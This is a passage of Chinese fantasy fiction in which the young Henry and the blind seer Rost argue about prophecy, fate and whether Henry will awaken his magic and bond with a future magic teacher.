“那您能否告诉我未来的结果?比如我参加王选能否获胜,比如我什么时候才能离开卡萨德拉?” 罗斯特当然知道亨利是在变相地质疑预言的准确性,有些无奈地笑了。 “预言并非是对未来的全面预测,我们只是凡人,借着魔法的恩赐和感知天赋有幸能在纷繁复杂的数据中窥得那一丝可能性而已。” 他轻声解释道。 “我已经无法看见东西了,因此看不到精确具体的未来,只能感受到宏观的、大概的方向,但你不同孩子,你的预知梦应该能看见更加具体的未来的。” “您高估我了,罗斯特先生。我也只能感知到模糊的暗示,梦境里隐隐约约有声音告诫我,不可以触碰魔力。” “或许是因为你抑制魔力多年,所以预知能力受到了影响,但未来是可以恢复的。” “无所谓,如果这份能力只能给我一个模凌两可的方向,连具体的答案都没有,如此没用的力量恢不恢复又有什么要紧?反正什么都改变不了。” 亨利笑着说,虽然语气平和,但言语间透着细微的不满。 听了他的话,罗斯特沉默了一会儿,像是短暂地沉溺在了一个梦境中,自言自语般地念叨着: “是啊……什么都改变不了。” 随后他回过神来,将头转向亨利的方向。 “顺应你内心的想法吧,亨利,无论是想逃避命运还是对抗命运,你所拥有的、你所失去的都会远超你的想象!哈哈你和我一样!预言家也无力反抗命运!哈哈哈。” 罗斯特笑了起来,亨利似乎对他这样短暂的癫狂反应见怪不怪。只是起身在书架上开始搜刮有没有他感兴趣的新书。 “罗斯特先生,您还是不明白,我已经下定了决心规避风险,所以根本谈不上对抗命运。” 他平静地陈述,但罗斯特似乎受不了他的固执,终于开口解释起了自己预言的依据: “我感知到,你将会和你的魔法老师建立相当复杂的羁绊,除了你们自己,谁也无法将这关系斩断,所以我推断你一定会觉醒魔力,成为她的弟子……” “那您推断错了,我明知有极大风险的事,为什么还要去做呢?” 亨利笑着摇了摇头,并打心眼头一次怀疑起罗斯特的预言。 所谓的老师,不过是完成家族任务的魔法师而已,说不定还会相当看不起对没有魔力的自己。和这样的人怎么能有多复杂的羁绊? 正在他内心觉得不可置信时,罗斯特继续开口了:“或许在未来出现了你想要冒险的理由呢?” “不可能。” 亨利果决地打断了罗斯特的推测,他现在只想赶紧成年,然后脱离自己叔叔的控制,离开淤泥一样的生活。 他的预知梦早年间没有出过错,如果触碰魔力就是不幸的开始,那到底是怎样的理由才会让他甘愿冒险? 亨利无法想象。